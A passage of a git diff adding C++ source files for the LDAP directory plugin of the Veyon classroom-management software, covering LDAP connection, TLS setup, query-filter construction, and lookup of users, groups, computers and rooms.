dn.isEmpty() ) + { + qCritical() << "LdapDirectory::queryDistinguishedNames(): DN is empty!"; + + return distinguishedNames; + } + + int result = -1; + int id = operation.search( KLDAP::LdapDN( dn ), scope, filter, QStringList() ); + + if( id != -1 ) + { + while( ( result = operation.waitForResult( id, LdapQueryTimeout ) ) == KLDAP::LdapOperation::RES_SEARCH_ENTRY ) + { + distinguishedNames += operation.object().dn().toString(); + } + qDebug() << "LdapDirectory::queryDistinguishedNames(): results:" << distinguishedNames; + } + + if( result == -1 ) + { + qWarning() << "LDAP search failed with code" << connection.ldapErrorCode(); + + if( state == Bound && queryRetry == false ) + { + // close connection and try again + queryRetry = true; + state = Disconnected; + distinguishedNames = queryDistinguishedNames( dn, filter, scope ); + queryRetry = false; + } + } + + return distinguishedNames; + } + + QString ldapErrorString() const + { + if( connection.handle() == nullptr ) + { + return connection.connectionError(); + } + + return connection.ldapErrorString(); + } + + QString ldapErrorDescription() const + { + const auto errorString = ldapErrorString(); + if( errorString.isEmpty() == false ) + { + return LdapClient::tr( "LDAP error description: %1" ).arg( errorString ); + } + + return LdapClient::tr( "No LDAP error description available"); + } + + bool reconnect() + { + connection.close(); + state = Disconnected; + + connection.setServer( server ); + + if( connection.connect() != 0 ) + { + qWarning() << "LDAP connect failed:" << ldapErrorString(); + return false; + } + + state = Connected; + + operation.setConnection( connection ); + if( operation.bind_s() != 0 ) + { + qWarning() << "LDAP bind failed:" << ldapErrorString(); + return false; + } + + state = Bound; + + return true; + } + + enum { + LdapQueryTimeout = 3000, + LdapConnectionTimeout = 60*1000 + }; + + KLDAP::LdapServer server; + KLDAP::LdapConnection connection; + KLDAP::LdapOperation operation; + + QString baseDn; + QString namingContextAttribute; + QString usersDn; + QString groupsDn; + QString computersDn; + QString computerGroupsDn; + + QString userLoginAttribute; + QString groupMemberAttribute; + QString computerHostNameAttribute; + QString computerMacAddressAttribute; + QString computerRoomNameAttribute; + + QString usersFilter; + QString userGroupsFilter; + QString computersFilter; + QString computerGroupsFilter; + QString computerParentsFilter; + + QString computerRoomAttribute; + + KLDAP::LdapUrl::Scope defaultSearchScope = KLDAP::LdapUrl::Base; + + bool identifyGroupMembersByNameAttribute = false; + bool computerRoomMembersByContainer = false; + bool computerRoomMembersByAttribute = false; + bool computerHostNameAsFQDN = false; + + using State = enum States + { + Disconnected, + Connected, + Bound, + StateCount + } ; + + State state = Disconnected; + + bool queryRetry = false; + +}; + + + +LdapDirectory::LdapDirectory( const LdapConfiguration& configuration, const QUrl& url, QObject* parent ) : + QObject( parent ), + m_configuration( configuration ), + d( new LdapDirectoryPrivate ) +{ + reconnect( url ); +} + + + +LdapDirectory::~LdapDirectory() +{ +} + + + +bool LdapDirectory::isConnected() const +{ + return d->state >= LdapDirectoryPrivate::Connected; +} + + + +bool LdapDirectory::isBound() const +{ + return d->state >= LdapDirectoryPrivate::Bound; +} + + +/*! + * \brief Disables any configured attributes which is required for some test scenarious + */ +void LdapDirectory::disableAttributes() +{ + d->userLoginAttribute.clear(); + d->computerHostNameAttribute.clear(); + d->computerMacAddressAttribute.clear(); +} + + + +/*! + * \brief Disables any configured filters which is required for some test scenarious + */ +void LdapDirectory::disableFilters() +{ + d->usersFilter.clear(); + d->userGroupsFilter.clear(); + d->computersFilter.clear(); + d->computerGroupsFilter.clear(); + d->computerParentsFilter.clear(); +} + + + +QString LdapDirectory::ldapErrorDescription() const +{ + return d->ldapErrorDescription(); +} + + + +QStringList LdapDirectory::queryBaseDn() +{ + return d->queryDistinguishedNames( d->baseDn, QStringLiteral( "(objectclass=*)" ), KLDAP::LdapUrl::Base ); +} + + + +QString LdapDirectory::queryNamingContext() +{ + return d->queryAttributes( QString(), d->namingContextAttribute ).value( 0 ); +} + + + +QString LdapDirectory::parentDn( const QString& dn ) +{ + const auto separatorPos = dn.indexOf( ',' ); + if( separatorPos > 0 && separatorPos+1 < dn.size() ) + { + return dn.mid( separatorPos + 1 ); + } + + return QString(); +} + + + +QString LdapDirectory::toRelativeDn( const QString& fullDn ) +{ + const auto fullDnLower = fullDn.toLower(); + const auto baseDnLower = d->baseDn.toLower(); + + if( fullDnLower.endsWith( QLatin1Char( ',' ) + baseDnLower ) && + fullDn.length() > d->baseDn.length()+1 ) + { + // cut off comma and base DN + return fullDn.left( fullDn.length() - d->baseDn.length() - 1 ); + } + return fullDn; +} + + + +QStringList LdapDirectory::toRelativeDnList( const QStringList& fullDnList ) +{ + QStringList relativeDnList; + + relativeDnList.reserve( fullDnList.size() ); + + for( const auto& fullDn : fullDnList ) + { + relativeDnList += toRelativeDn( fullDn ); + } + + return relativeDnList; +} + + + +QStringList LdapDirectory::users( const QString& filterValue ) +{ + return d->queryDistinguishedNames( d->usersDn, + constructQueryFilter( d->userLoginAttribute, filterValue, d->usersFilter ), + d->defaultSearchScope ); +} + + + +QStringList LdapDirectory::groups( const QString& filterValue ) +{ + return d->queryDistinguishedNames( d->groupsDn, + constructQueryFilter( QStringLiteral( "cn" ), filterValue ), + d->defaultSearchScope ); +} + + + +QStringList LdapDirectory::userGroups( const QString& filterValue ) +{ + return d->queryDistinguishedNames( d->groupsDn, + constructQueryFilter( QStringLiteral( "cn" ), filterValue, d->userGroupsFilter ), + d->defaultSearchScope ); +} + + +/*! + * \brief Returns list of computer object names matching the given hostname filter + * \param filterValue A filter value which is used to query the host name attribute + * \return List of DNs of all matching computer objects + */ +QStringList LdapDirectory::computers( const QString& filterValue ) +{ + return d->queryDistinguishedNames( d->computersDn, + constructQueryFilter( d->computerHostNameAttribute, filterValue, d->computersFilter ), + d->defaultSearchScope ); +} + + + +QStringList LdapDirectory::computerGroups( const QString& filterValue ) +{ + return d->queryDistinguishedNames( d->computerGroupsDn.isEmpty() ? d->groupsDn : d->computerGroupsDn, + constructQueryFilter( QStringLiteral( "cn" ), filterValue, d->computerGroupsFilter ) , + d->defaultSearchScope ); +} + + + +QStringList LdapDirectory::computerRooms( const QString& filterValue ) +{ + QStringList computerRooms; + + if( d->computerRoomMembersByAttribute ) + { + computerRooms = d->queryAttributes( d->computersDn, + d->computerRoomAttribute, + constructQueryFilter( d->computerRoomAttribute, filterValue, d->computersFilter ), + d->defaultSearchScope ); + } + else if( d->computerRoomMembersByContainer ) + { + computerRooms = d->queryAttributes( d->computersDn, + d->computerRoomNameAttribute, + constructQueryFilter( d->computerRoomNameAttribute, filterValue, d->computerParentsFilter ) , + d->defaultSearchScope ); + } + else + { + computerRooms = d->queryAttributes( d->computerGroupsDn.isEmpty() ? d->groupsDn : d->computerGroupsDn, + d->computerRoomNameAttribute, + constructQueryFilter( d->computerRoomNameAttribute, filterValue, d->computerGroupsFilter ) , + d->defaultSearchScope ); + } + + computerRooms.removeDuplicates(); + + std::sort( computerRooms.begin(), computerRooms.end() ); + + return computerRooms; +} + + + +QStringList LdapDirectory::groupMembers( const QString& groupDn ) +{ + return d->queryAttributes( groupDn, d->groupMemberAttribute ); +} + + + +QStringList LdapDirectory::groupsOfUser( const QString& userDn ) +{ + const auto userId = groupMemberUserIdentification( userDn ); + if( d->groupMemberAttribute.isEmpty() || userId.isEmpty() ) + { + return {}; + } + + return d->queryDistinguishedNames( d->groupsDn, + constructQueryFilter( d->groupMemberAttribute, userId, d->userGroupsFilter ), + d->defaultSearchScope ); +} + + + +QStringList LdapDirectory::groupsOfComputer( const QString& computerDn ) +{ + const auto computerId = groupMemberComputerIdentification( computerDn ); + if( d->groupMemberAttribute.isEmpty() || computerId.isEmpty() ) + { + return {}; + } + + return d->queryDistinguishedNames( d->computerGroupsDn.isEmpty() ? d->groupsDn : d->computerGroupsDn, + constructQueryFilter( d->groupMemberAttribute, computerId, d->computerGroupsFilter ), + d->defaultSearchScope ); +} + + + +QStringList LdapDirectory::computerRoomsOfComputer( const QString& computerDn ) +{ + if( d->computerRoomMembersByAttribute ) + { + return d->queryAttributes( computerDn, d->computerRoomAttribute ); + } + else if( d->computerRoomMembersByContainer ) + { + return d->queryAttributes( parentDn( computerDn ), d->computerRoomNameAttribute ); + } + + const auto computerId = groupMemberComputerIdentification( computerDn ); + if( d->groupMemberAttribute.isEmpty() || computerId.isEmpty() ) + { + return {}; + } + + return d->queryAttributes( d->computerGroupsDn.isEmpty() ? d->groupsDn : d->computerGroupsDn, + d->computerRoomNameAttribute, + constructQueryFilter( d->groupMemberAttribute, computerId, d->computerGroupsFilter ), + d->defaultSearchScope ); +} + + + +QString LdapDirectory::userLoginName( const QString& userDn ) +{ + return d->queryAttributes( userDn, d->userLoginAttribute ).value( 0 ); +} + + + +QString LdapDirectory::groupName( const QString& groupDn ) +{ + return d->queryAttributes( groupDn, + QStringLiteral( "cn" ), + QStringLiteral( "(objectclass=*)" ), + KLDAP::LdapUrl::Base ). + value( 0 ); +} + + + +QString LdapDirectory::computerHostName( const QString& computerDn ) +{ + if( computerDn.isEmpty() ) + { + return QString(); + } + + return d->queryAttributes( computerDn, d->computerHostNameAttribute ).value( 0 ); +} + + + +QString LdapDirectory::computerMacAddress( const QString& computerDn ) +{ + if( computerDn.isEmpty() ) + { + return QString(); + } + + return d->queryAttributes( computerDn, d->computerMacAddressAttribute ).value( 0 ); +} + + + +QString LdapDirectory::groupMemberUserIdentification( const QString& userDn ) +{ + if( d->identifyGroupMembersByNameAttribute ) + { + return userLoginName( userDn ); + } + + return userDn; +} + + + +QString LdapDirectory::groupMemberComputerIdentification( const QString& computerDn ) +{ + if( d->identifyGroupMembersByNameAttribute ) + { + return computerHostName( computerDn ); + } + + return computerDn; +} + + + +QStringList LdapDirectory::computerRoomMembers( const QString& computerRoomName ) +{ + if( d->computerRoomMembersByAttribute ) + { + return d->queryDistinguishedNames( d->computersDn, + constructQueryFilter( d->computerRoomAttribute, computerRoomName, d->computersFilter ), + d->defaultSearchScope ); + } + else if( d->computerRoomMembersByContainer ) + { + const auto roomDnFilter = constructQueryFilter( d->computerRoomNameAttribute, computerRoomName, d->computerParentsFilter ); + const auto roomDns = d->queryDistinguishedNames( d->computersDn, roomDnFilter, d->defaultSearchScope ); + + return d->queryDistinguishedNames( roomDns.value( 0 ), + constructQueryFilter( QString(), QString(), d->computersFilter ), + d->defaultSearchScope ); + } + + auto memberComputers = groupMembers( computerGroups( computerRoomName ).value( 0 ) ); + + // computer filter configured? + if( d->computersFilter.isEmpty() == false ) + { + auto memberComputersSet = memberComputers.toSet(); + + // then return intersection of filtered computer list and group members + return memberComputersSet.intersect( computers().toSet() ).toList(); + } + + return memberComputers; +} + + + +bool LdapDirectory::reconnect( const QUrl &url ) +{ + if( url.isValid() ) + { + d->server.setUrl( KLDAP::LdapUrl( url ) ); + } + else + { + d->server.setHost( m_configuration.serverHost() ); + d->server.setPort( m_configuration.serverPort() ); + + if( m_configuration.useBindCredentials() ) + { + d->server.setBindDn( m_configuration.bindDn() ); + d->server.setPassword( m_configuration.bindPassword() ); + d->server.setAuth( KLDAP::LdapServer::Simple ); + } + else + { + d->server.setAuth( KLDAP::LdapServer::Anonymous ); + } + + const auto security = static_cast( m_configuration.connectionSecurity() ); + switch( security ) + { + case LdapConfiguration::ConnectionSecurityTLS: + d->server.setSecurity( KLDAP::LdapServer::TLS ); + break; + case LdapConfiguration::ConnectionSecuritySSL: + d->server.setSecurity( KLDAP::LdapServer::SSL ); + break; + default: + d->server.setSecurity( KLDAP::LdapServer::None ); + break; + } + } + + if( m_configuration.connectionSecurity() != LdapConfiguration::ConnectionSecurityNone ) + { + initTLS(); + } + + if( d->reconnect() == false ) + { + return false; + } + + d->namingContextAttribute = m_configuration.namingContextAttribute(); + + if( d->namingContextAttribute.isEmpty() ) + { + // fallback to AD default value + d->namingContextAttribute = QStringLiteral( "defaultNamingContext" ); + } + + // query base DN via naming context if configured + if( m_configuration.queryNamingContext() ) + { + d->baseDn = queryNamingContext(); + } + else + { + // use the configured base DN + d->baseDn = m_configuration.baseDn(); + } + + d->usersDn = constructSubDn( m_configuration.userTree(), d->baseDn ); + d->groupsDn = constructSubDn( m_configuration.groupTree(), d->baseDn ); + d->computersDn = constructSubDn( m_configuration.computerTree(), d->baseDn ); + + if( m_configuration.computerGroupTree().isEmpty() == false ) + { + d->computerGroupsDn = constructSubDn( m_configuration.computerGroupTree(), d->baseDn ); + } + else + { + d->computerGroupsDn.clear(); + } + + if( m_configuration.recursiveSearchOperations() ) + { + d->defaultSearchScope = KLDAP::LdapUrl::Sub; + } + else + { + d->defaultSearchScope = KLDAP::LdapUrl::One; + } + + d->userLoginAttribute = m_configuration.userLoginAttribute(); + d->groupMemberAttribute = m_configuration.groupMemberAttribute(); + d->computerHostNameAttribute = m_configuration.computerHostNameAttribute(); + d->computerHostNameAsFQDN = m_configuration.computerHostNameAsFQDN(); + d->computerMacAddressAttribute = m_configuration.computerMacAddressAttribute(); + d->computerRoomNameAttribute = m_configuration.computerRoomNameAttribute(); + if( d->computerRoomNameAttribute.isEmpty() ) + { + d->computerRoomNameAttribute = QStringLiteral("cn"); + } + + d->usersFilter = m_configuration.usersFilter(); + d->userGroupsFilter = m_configuration.userGroupsFilter(); + d->computersFilter = m_configuration.computersFilter(); + d->computerGroupsFilter = m_configuration.computerGroupsFilter(); + d->computerParentsFilter = m_configuration.computerContainersFilter(); + + d->identifyGroupMembersByNameAttribute = m_configuration.identifyGroupMembersByNameAttribute(); + + d->computerRoomMembersByContainer = m_configuration.computerRoomMembersByContainer(); + d->computerRoomMembersByAttribute = m_configuration.computerRoomMembersByAttribute(); + d->computerRoomAttribute = m_configuration.computerRoomAttribute(); + + return true; +} + + + +void LdapDirectory::initTLS() +{ + switch( m_configuration.tlsVerifyMode() ) + { + case LdapConfiguration::TLSVerifyDefault: + d->server.setTLSRequireCertificate( KLDAP::LdapServer::TLSReqCertDefault ); + break; + case LdapConfiguration::TLSVerifyNever: + d->server.setTLSRequireCertificate( KLDAP::LdapServer::TLSReqCertNever ); + break; + case LdapConfiguration::TLSVerifyCustomCert: + d->server.setTLSRequireCertificate( KLDAP::LdapServer::TLSReqCertHard ); + d->server.setTLSCACertFile( m_configuration.tlsCACertificateFile() ); + break; + default: + qCritical( "LdapDirectory: invalid TLS verify mode specified!" ); + d->server.setTLSRequireCertificate( KLDAP::LdapServer::TLSReqCertDefault ); + break; + } +} + + + +QString LdapDirectory::constructSubDn( const QString& subtree, const QString& baseDn ) +{ + if( subtree.isEmpty() ) + { + return baseDn; + } + + return subtree + "," + baseDn; +} + + + +QString LdapDirectory::constructQueryFilter( const QString& filterAttribute, + const QString& filterValue, + const QString& extraFilter ) +{ + QString queryFilter; + + if( filterAttribute.isEmpty() == false ) + { + if( filterValue.isEmpty() ) + { + queryFilter = QStringLiteral( "(%1=*)" ).arg( filterAttribute ); + } + else + { + queryFilter = QStringLiteral( "(%1=%2)" ).arg( filterAttribute, + escapeFilterValue( filterValue ) ); + } + } + + if( extraFilter.isEmpty() == false ) + { + if( queryFilter.isEmpty() ) + { + queryFilter = extraFilter; + } + else + { + queryFilter = QStringLiteral( "(&%1%2)" ).arg( extraFilter, queryFilter ); + } + } + + return queryFilter; +} + + + +QString LdapDirectory::escapeFilterValue( const QString& filterValue ) +{ + return QString( filterValue ) + .replace( QStringLiteral("\\"), QStringLiteral("\\\\") ) + .replace( QStringLiteral("("), QStringLiteral("\\(") ) + .replace( QStringLiteral(")"), QStringLiteral("\\)") ); +} + + + +QString LdapDirectory::hostToLdapFormat( const QString& host ) +{ + QHostAddress hostAddress( host ); + + // no valid IP address given? + if( hostAddress.protocol() == QAbstractSocket::UnknownNetworkLayerProtocol ) + { + // then try to resolve ist first + QHostInfo hostInfo = QHostInfo::fromName( host ); + if( hostInfo.error() != QHostInfo::NoError || hostInfo.addresses().isEmpty() ) + { + qWarning() << "LdapDirectory::hostToLdapFormat(): could not lookup IP address of host" + << host << "error:" << hostInfo.errorString(); + return QString(); + } + +#if QT_VERSION < 0x050600 + hostAddress = hostInfo.addresses().value( 0 ); +#else + hostAddress = hostInfo.addresses().constFirst(); +#endif + qDebug() << "LdapDirectory::hostToLdapFormat(): no valid IP address given, resolved IP address of host" + << host << "to" << hostAddress.toString(); + } + + // now do a name lookup to get the full host name information + QHostInfo hostInfo = QHostInfo::fromName( hostAddress.toString() ); + if( hostInfo.error() != QHostInfo::NoError ) + { + qWarning() << "LdapDirectory::hostToLdapFormat(): could not lookup host name for IP" + << hostAddress.toString() << "error:" << hostInfo.errorString(); + return QString(); + } + + // are we working with fully qualified domain name? + if( d->computerHostNameAsFQDN ) + { + qDebug() << "LdapDirectory::hostToLdapFormat(): Resolved FQDN" << hostInfo.hostName(); + return hostInfo.hostName(); + } + + // return first part of host name which should be the actual machine name + const QString hostName = hostInfo.hostName().split( '.' ).value( 0 ); + + qDebug() << "LdapDirectory::hostToLdapFormat(): resolved host name" << hostName; + return hostName; +} + + + +QString LdapDirectory::computerObjectFromHost( const QString& host ) +{ + QString hostName = hostToLdapFormat( host ); + if( hostName.isEmpty() ) + { + qWarning( "LdapDirectory::computerObjectFromHost(): could not resolve hostname, returning empty computer object" ); + return QString(); + } + + QStringList computerObjects = computers( hostName ); + if( computerObjects.count() == 1 ) + { + return computerObjects.first(); + } + + // return empty result if not exactly one object was found + qWarning( "LdapDirectory::computerObjectFromHost(): more than one computer object found, returning empty computer object!" ); + return QString(); +} diff --git a/plugins/ldap/LdapDirectory.h b/plugins/ldap/LdapDirectory.h new file mode 100644 index 0000000..abc91ad --- /dev/null +++ b/plugins/ldap/LdapDirectory.h @@ -0,0 +1,115 @@ +/* + * LdapDirectory.h - class representing the LDAP directory and providing access to directory entries + * + * Copyright (c) 2016-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LDAP_DIRECTORY_H +#define LDAP_DIRECTORY_H + +#include +#include + +#include "VeyonCore.h" + +class LdapConfiguration; + +class LdapClient : public QObject +{ + Q_OBJECT +public: + LdapClient() = default; +}; + +class LdapDirectory : public QObject +{ + Q_OBJECT +public: + LdapDirectory( const LdapConfiguration& configuration, const QUrl& url = QUrl(), QObject* parent = nullptr ); + ~LdapDirectory(); + + const LdapConfiguration& configuration() const + { + return m_configuration; + } + + bool isConnected() const; + bool isBound() const; + + void disableAttributes(); + void disableFilters(); + + QString ldapErrorDescription() const; + + QStringList queryBaseDn(); + + QString queryNamingContext(); + + static QString parentDn( const QString& dn ); + QString toRelativeDn( const QString& fullDn ); + + QStringList toRelativeDnList( const QStringList& fullDnList ); + + QStringList users( const QString& filterValue = QString() ); + QStringList groups( const QString& filterValue = QString() ); + QStringList userGroups( const QString& filterValue = QString() ); + QStringList computers( const QString& filterValue = QString() ); + QStringList computerGroups( const QString& filterValue = QString() ); + QStringList computerRooms( const QString& filterValue = QString() ); + + QStringList groupMembers( const QString& groupDn ); + QStringList groupsOfUser( const QString& userDn ); + QStringList groupsOfComputer( const QString& computerDn ); + QStringList computerRoomsOfComputer( const QString& computerDn ); + + QString userLoginName( const QString& userDn ); + QString groupName( const QString& groupDn ); + QString computerHostName( const QString& computerDn ); + QString computerMacAddress( const QString& computerDn ); + QString groupMemberUserIdentification( const QString& userDn ); + QString groupMemberComputerIdentification( const QString& computerDn ); + + QStringList computerRoomMembers( const QString& computerRoomName ); + + QString hostToLdapFormat( const QString& host ); + QString computerObjectFromHost( const QString& host ); + + +private: + bool reconnect( const QUrl& url ); + void initTLS(); + + static QString constructSubDn( const QString& subtree, const QString& baseDn ); + + static QString constructQueryFilter( const QString& filterAttribute, + const QString& filterValue, + const QString& extraFilter = QString() ); + + static QString escapeFilterValue( const QString& filterValue ); + + class LdapDirectoryPrivate; + + const LdapConfiguration& m_configuration; + QScopedPointer d; + +}; + +#endif diff --git a/plugins/ldap/LdapNetworkObjectDirectory.cpp b/plugins/ldap/LdapNetworkObjectDirectory.cpp new file mode 100644 index 0000000..d55ce4e --- /dev/null +++ b/plugins/ldap/LdapNetworkObjectDirectory.cpp @@ -0,0 +1,229 @@ +/* + * LdapNetworkObjectDirectory.cpp - provides a NetworkObjectDirectory for LDAP + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "LdapConfiguration.h" +#include "LdapDirectory.h" +#include "LdapNetworkObjectDirectory.h" + + +LdapNetworkObjectDirectory::LdapNetworkObjectDirectory( const LdapConfiguration& ldapConfiguration, + QObject* parent ) : + NetworkObjectDirectory( parent ), + m_ldapDirectory( ldapConfiguration ) +{ +} + + + +QList LdapNetworkObjectDirectory::objects( const NetworkObject& parent ) +{ + if( parent.type() == NetworkObject::Root ) + { + return m_objects.keys(); + } + else if( parent.type() == NetworkObject::Group && + m_objects.contains( parent ) ) + { + return qAsConst(m_objects)[parent]; + } + + return QList(); +} + + + +QList LdapNetworkObjectDirectory::queryObjects( NetworkObject::Type type, const QString& name ) +{ + switch( type ) + { + case NetworkObject::Group: return queryGroups( name ); + case NetworkObject::Host: return queryHosts( name ); + default: break; + } + + return {}; +} + + + +NetworkObject LdapNetworkObjectDirectory::queryParent( const NetworkObject& object ) +{ + switch( object.type() ) + { + case NetworkObject::Host: + return NetworkObject( NetworkObject::Group, + m_ldapDirectory.computerRoomsOfComputer( object.directoryAddress() ).value( 0 ) ); + case NetworkObject::Group: + return NetworkObject::Root; + default: + break; + } + + return NetworkObject::None; +} + + + +void LdapNetworkObjectDirectory::update() +{ + const auto computerRooms = m_ldapDirectory.computerRooms(); + const NetworkObject rootObject( NetworkObject::Root ); + + for( const auto& computerRoom : qAsConst( computerRooms ) ) + { + NetworkObject computerRoomObject( NetworkObject::Group, computerRoom ); + + if( m_objects.contains( computerRoomObject ) == false ) + { + emit objectsAboutToBeInserted( rootObject, m_objects.count(), 1 ); + m_objects[computerRoomObject] = QList(); + emit objectsInserted(); + } + + updateComputerRoom( computerRoom ); + } + + int index = 0; + for( auto it = m_objects.begin(); it != m_objects.end(); ) // clazy:exclude=detaching-member + { + if( computerRooms.contains( it.key().name() ) == false ) + { + emit objectsAboutToBeRemoved( rootObject, index, 1 ); + it = m_objects.erase( it ); + emit objectsRemoved(); + } + else + { + ++it; + ++index; + } + } +} + + + +void LdapNetworkObjectDirectory::updateComputerRoom( const QString& computerRoom ) +{ + const NetworkObject computerRoomObject( NetworkObject::Group, computerRoom ); + QList& computerRoomObjects = m_objects[computerRoomObject]; // clazy:exclude=detaching-member + + const auto computers = m_ldapDirectory.computerRoomMembers( computerRoom ); + + bool hasMacAddressAttribute = ( m_ldapDirectory.configuration().computerMacAddressAttribute().count() > 0 ); + + for( const auto& computer : qAsConst( computers ) ) + { + const auto computerObject = computerToObject( computer, hasMacAddressAttribute ); + if( computerObject.type() != NetworkObject::Host ) + { + continue; + } + + const auto index = computerRoomObjects.indexOf( computerObject ); + if( index < 0 ) + { + emit objectsAboutToBeInserted( computerRoomObject, computerRoomObjects.count(), 1 ); + computerRoomObjects += computerObject; // clazy:exclude=reserve-candidates + emit objectsInserted(); + } + else if( computerRoomObjects[index].exactMatch( computerObject ) == false ) + { + computerRoomObjects.replace( index, computerObject ); + emit objectChanged( computerRoomObject, index ); + } + } + + int index = 0; + for( auto it = computerRoomObjects.begin(); it != computerRoomObjects.end(); ) + { + if( computers.contains( it->directoryAddress() ) == false ) + { + emit objectsAboutToBeRemoved( computerRoomObject, index, 1 ); + it = computerRoomObjects.erase( it ); + emit objectsRemoved(); + } + else + { + ++it; + ++index; + } + } +} + + + +QList LdapNetworkObjectDirectory::queryGroups( const QString& name ) +{ + const auto groups = m_ldapDirectory.computerRooms( name ); + + QList groupObjects; + groupObjects.reserve( groups.size() ); + + for( const auto& group : groups ) + { + groupObjects.append( NetworkObject( NetworkObject::Group, group ) ); + } + + return groupObjects; +} + + + +QList LdapNetworkObjectDirectory::queryHosts( const QString& name ) +{ + const auto computers = m_ldapDirectory.computers( name ); + + QList hostObjects; + hostObjects.reserve( computers.size() ); + + for( const auto& computer : computers ) + { + hostObjects.append( computerToObject( computer, false ) ); + } + + return hostObjects; +} + + + +NetworkObject LdapNetworkObjectDirectory::computerToObject( const QString& computerDn, bool populateMacAddres ) +{ + const auto computerHostName = m_ldapDirectory.computerHostName( computerDn ); + if( computerHostName.isEmpty() ) + { + return NetworkObject::None; + } + + QString computerMacAddress; + if( populateMacAddres ) + { + computerMacAddress = m_ldapDirectory.computerMacAddress( computerDn ); + } + + return NetworkObject( NetworkObject::Host, + computerHostName, + computerHostName, + computerMacAddress, + computerDn ); +} diff --git a/plugins/ldap/LdapNetworkObjectDirectory.h b/plugins/ldap/LdapNetworkObjectDirectory.h new file mode 100644 index 0000000..223cc2f --- /dev/null +++ b/plugins/ldap/LdapNetworkObjectDirectory.h @@ -0,0 +1,58 @@ +/* + * LdapNetworkObjectDirectory.h - provides a NetworkObjectDirectory for LDAP + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#ifndef LDAP_NETWORK_OBJECT_DIRECTORY_H +#define LDAP_NETWORK_OBJECT_DIRECTORY_H + +#include + +#include "LdapDirectory.h" +#include "NetworkObjectDirectory.h" + +class LdapNetworkObjectDirectory : public NetworkObjectDirectory +{ + Q_OBJECT +public: + LdapNetworkObjectDirectory( const LdapConfiguration& ldapConfiguration, QObject* parent ); + + QList objects( const NetworkObject& parent ) override; + + QList queryObjects( NetworkObject::Type type, const QString& name ) override; + NetworkObject queryParent( const NetworkObject& object ) override; + +private slots: + void update() override; + void updateComputerRoom( const QString& computerRoom ); + +private: + QList queryGroups( const QString& name ); + QList queryHosts( const QString& name ); + + NetworkObject computerToObject( const QString& computerDn, bool populateMacAddres ); + + LdapDirectory m_ldapDirectory; + QHash> m_objects; +}; + +#endif // LDAP_NETWORK_OBJECT_DIRECTORY_H diff --git a/plugins/ldap/LdapPlugin.cpp b/plugins/ldap/LdapPlugin.cpp new file mode 100644 index 0000000..14c0ff5 --- /dev/null +++ b/plugins/ldap/LdapPlugin.cpp @@ -0,0 +1,281 @@ +/* + * LdapPlugin.cpp - implementation of LdapPlugin class + * + * Copyright (c) 2017-2019 Tobias Junghans + * + * This file is part of Veyon - http://veyon.io + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + * + * You should have received a copy of the GNU General Public + * License along with this program (see COPYING); if not, write to the + * Free Software Foundation, Inc., 59 Temple Place - Suite 330, + * Boston, MA 02111-1307, USA. + * + */ + +#include "CommandLineIO.h" +#include "ConfigurationManager.h" +#include "VeyonConfiguration.h" +#include "LdapNetworkObjectDirectory.h" +#include "LdapPlugin.h" +#include "LdapConfigurationPage.h" +#include "LdapDirectory.h" + + +LdapPlugin::LdapPlugin( QObject* parent ) : + QObject( parent ), + m_configuration(), + m_ldapDirectory( nullptr ), + m_commands( { +{ QStringLiteral("autoconfigurebasedn"), tr( "Auto-configure the base DN via naming context" ) }, +{ QStringLiteral("query"), tr( "Query objects from LDAP directory" ) }, +{ QStringLiteral("help"), tr( "Show help about command" ) }, + } ) +{ +} + + + +LdapPlugin::~LdapPlugin() +{ + delete m_ldapDirectory; + m_ldapDirectory = nullptr; +} + + + +void LdapPlugin::upgrade( const QVersionNumber& oldVersion ) +{ + if( oldVersion < QVersionNumber( 1, 1 ) ) + { + const auto upgradeFilter = []( const QString& filter ) { + if( filter.isEmpty() == false && + filter.startsWith( '(' ) == false ) + { + return QStringLiteral("(%1)").arg( filter ); + } + // already upgraded or special filter so don't touch + return filter; + }; + + m_configuration.setComputerContainersFilter( upgradeFilter( m_configuration.computerContainersFilter() ) ); + m_configuration.setComputerGroupsFilter( upgradeFilter( m_configuration.computerGroupsFilter() ) ); + m_configuration.setComputersFilter( upgradeFilter( m_configuration.computersFilter() ) ); + m_configuration.setUserGroupsFilter( upgradeFilter( m_configuration.userGroupsFilter() ) ); + m_configuration.setUsersFilter( upgradeFilter( m_configuration.usersFilter() ) ); + + // bind password not encrypted yet? + if( m_configuration.bindPasswordPlain().size() < MaximumPlaintextPasswordLength ) + { + // setting it again will encrypt it + m_configuration.setBindPassword( 